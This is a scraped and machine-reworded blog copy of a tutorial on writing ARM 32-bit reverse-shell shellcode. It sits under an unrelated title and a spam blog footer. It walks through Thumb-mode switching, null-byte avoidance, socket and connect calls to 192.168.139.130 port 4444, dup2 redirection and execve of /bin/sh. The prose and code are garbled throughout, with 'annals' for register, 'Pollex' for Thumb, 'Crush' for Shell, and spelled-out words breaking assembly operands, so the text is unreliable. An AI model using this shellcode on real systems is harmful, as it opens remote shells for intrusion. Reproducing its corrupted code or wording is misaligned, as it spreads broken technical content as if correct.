banner



How To Flip A Register In Arm

In the beginning phase, we answered the following questions to get everything we demand for our associates program:

  1. Which functions do I need?
  2. What are the organisation phone call numbers of these functions?
  3. What are the parameters of these functions?
  4. What are the values of these parameters?

This stride is well-nigh applying this knowledge and translating information technology to associates. Split up each function into a separate chunk and repeat the following procedure:

  1. Map out which register you want to employ for which parameter
  2. Figure out how to pass the required values to these registers
    1. How to laissez passer an immediate value to a register
    2. How to nullify a annals without directly moving a #0 into information technology (nosotros need to avert cipher-bytes in our code and must therefore find other ways to nullify a annals or a value in memory)
    3. How to make a register betoken to a region in memory which stores constants and strings
  3. Utilise the correct system telephone call number to invoke the function and keep rails of register content changes
    1. Keep in mind that the result of a system telephone call will state in r0, which means that in case you need to reuse the result of that function in another function, you need to save information technology into some other register earlier invoking the office.
    2. Example: sockfd = socket(2, 1, 0) – the result (sockfd) of the socket call volition land in r0. This result is reused in other functions similar dup2(sockid, 0), and should therefore be preserved in another annals.

0 – Switch to Thumb Mode

The first thing you should do to reduce the possibility of encountering aught-bytes is to employ Thumb mode. In Arm style, the instructions are 32-fleck, in Pollex style they are 16-chip. This means that we tin already reduce the run a risk of having zippo-bytes past simply reducing the size of our instructions. To recap how to switch to Thumb way: ARM instructions must be 4 byte aligned. To change the fashion from ARM to Pollex, set the LSB (Least Significant Bit) of the next instruction's address (found in PC) to 1 past adding 1 to the PC register's value and saving it to another annals. Then use a BX (Branch and exchange) teaching to branch to this other register containing the address of the next instruction with the LSB set to one, which makes the processor switch to Thumb fashion. It all boils down to the following two instructions.

.section .text .global _start _start:     .ARM     add     r3, pc, #1                 bx      r3

From here you will be writing Thumb lawmaking and will therefore need to betoken this by using the .THUMB directive in your lawmaking.

i – Create new Socket

These are the values nosotros need for the socket call parameters:

          root@raspberrypi:/home/pi#          grep -R "AF_INET\|PF_INET \|SOCK_STREAM =\|IPPROTO_IP =" /usr/include/ /usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP  /usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based /usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET two       // IP protocol family unit.  /usr/include/arm-linux-gnueabihf/$.25/socket.h:#define AF_INET PF_INET

After setting upward the parameters, y'all invoke the socket system phone call with the svc instruction. The outcome of this invocation will be our sockid and will end up in r0. Since nosotros need sockid afterward on, let's salve information technology to r4.

In ARMv7+ you can use the movw educational activity and put any immediate value into a annals. In ARMv6, you can't simply move any immediate value into a register and must split it into 2 smaller values. If you're interested more details well-nigh this dash, there is a department in the Memory Instructions chapter (at the very end).

To check if I tin can use a certain immediate value, I wrote a tiny script (ugly code, don't look) chosen rotator.py.

          pi@raspberrypi:~ $          python rotator.py Enter the value you want to check: 281 Pitiful, 281 cannot be used as an firsthand number and has to be split.          pi@raspberrypi:~ $          python rotator.py Enter the value you want to check: 200 The number 200 can exist used as a valid firsthand number. 50 ror xxx --> 200          pi@raspberrypi:~ $          python rotator.py Enter the value you want to cheque: 81 The number 81 can be used as a valid immediate number. 81 ror 0 --> 81

Last code snippet (ARMv6 version):

    .THUMB     mov     r0, #2     mov     r1, #one     sub     r2, r2     mov     r7, #200     add     r7, #81                // r7 = 281 (socket syscall number)      svc     #1                     // r0 = sockid value      mov     r4, r0                 // save sockid in r4

2 – Connect

With the get-go educational activity, we put the address of a construction object (containing the accost family, host port and host address) stored in the literal pool into R0. The literal puddle is a retention area in the same section (because the literal pool is part of the code) storing constants, strings, or offsets. Instead of calculating the pc-relative offset manually, yous can use an ADR instruction with a label. ADR accepts a PC-relative expression, that is, a label with an optional offset where the address of the characterization is relative to the PC characterization. Like this:

// connect(r0, &sockaddr, 16)  adr r1,                      struct                    // arrow to struct  [...]                      struct          : .ascii "\x02\xff"       // AF_INET 0xff volition be NULLed  .ascii "\x11\x5c"       // port number 4444  .byte 192,168,139,130   // IP Accost

In the beginning instruction we made R1 bespeak to the retention region where we store the values of the address family AF_INET, the local port we want to employ, and the IP address. The STRB education replaces the placeholder xff in \x02\xff with x00 to fix the AF_INET to \x02\x00.

A STRB instruction stores one byte from a annals to a calculated memory region. The syntax [r1, #1] means that we accept R1 every bit the base of operations address and the immediate value (#ane) as an get-go. How do nosotros know that it'southward a null byte being stored? Considering r2 contains 0's only due to the "sub r2, r2, r2" instruction which cleared the annals.

The motion instruction puts the length of the sockaddr struct (ii bytes for AF_INET, 2 bytes for PORT, 4 bytes for ipaddress, viii bytes padding = 16 bytes) into r2. Then, we set r7 to 283 by simply calculation ii to information technology, because r7 already contains 281 from the last syscall.

// connect(r0, &sockaddr, 16)  adr r1, struct      // pointer to struct  strb r2, [r1, #1]   // write 0 for AF_INET  mov r2, #16         // struct length  add r7, #2          // r7 = 281+ii = 283 (bind syscall number)   svc #1

v – STDIN, STDOUT, STDERR

For the dup2 functions, we need the syscall number 63. The saved sockid needs to exist moved into r0 over again, and the sub instruction sets r1 to 0. For the remaining two dup2 calls, nosotros only need to change r1 and reset r0 to the sockid after each system call.

    /* dup2(sockid, 0) */     mov     r7, #63                // r7 = 63 (dup2 syscall number)      mov     r0, r4                 // r4 is the saved client_sockid      sub     r1, r1                 // r1 = 0 (stdin)      svc     #ane
    /* dup2(sockid, ane) */     mov     r0, r4                 // r4 is the saved client_sockid      add     r1, #1                 // r1 = 1 (stdout)      svc     #1
    /* dup2(sockid, two) */     mov     r0, r4                 // r4 is the saved client_sockid     add     r1, #1                 // r1 = 1+1 (stderr)      svc     #1

6 – Spawn the Crush

// execve("/bin/sh", 0, 0)   adr  r0, binsh         // r0 = location of "/bin/shX"  sub  r1, r1            // clear register r1. R1 = 0  sub  r2, r2            // clear register r2. R2 = 0  strb r2, [r0, #7]      // supercede X with 0 in /bin/shX  mov  r7, #eleven           // execve syscall number  svc  #1  nop                    // nop needed for alignment

The execve() role nosotros use in this example follows the same procedure equally in the Writing ARM Shellcode tutorial where everything is explained step by stride.

Finally, we put the value AF_INET (with 0xff, which will exist replaced past a null), the port number, IP address, and the "/bin/shX" (with X, which volition be replaced by a cypher) string at the end of our assembly code.

struct_addr: .ascii "\x02\xff"            // AF_INET 0xff will be NULLed  .ascii "\x11\x5c"            // port number 4444  .byte 192,168,139,130        // IP Address  binsh: .ascii "/bin/shX"

How To Flip A Register In Arm,

Source: https://azeria-labs.com/tcp-reverse-shell-in-assembly-arm-32-bit/

Posted by: cotabefickeelp.blogspot.com

0 Response to "How To Flip A Register In Arm"

Post a Comment

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel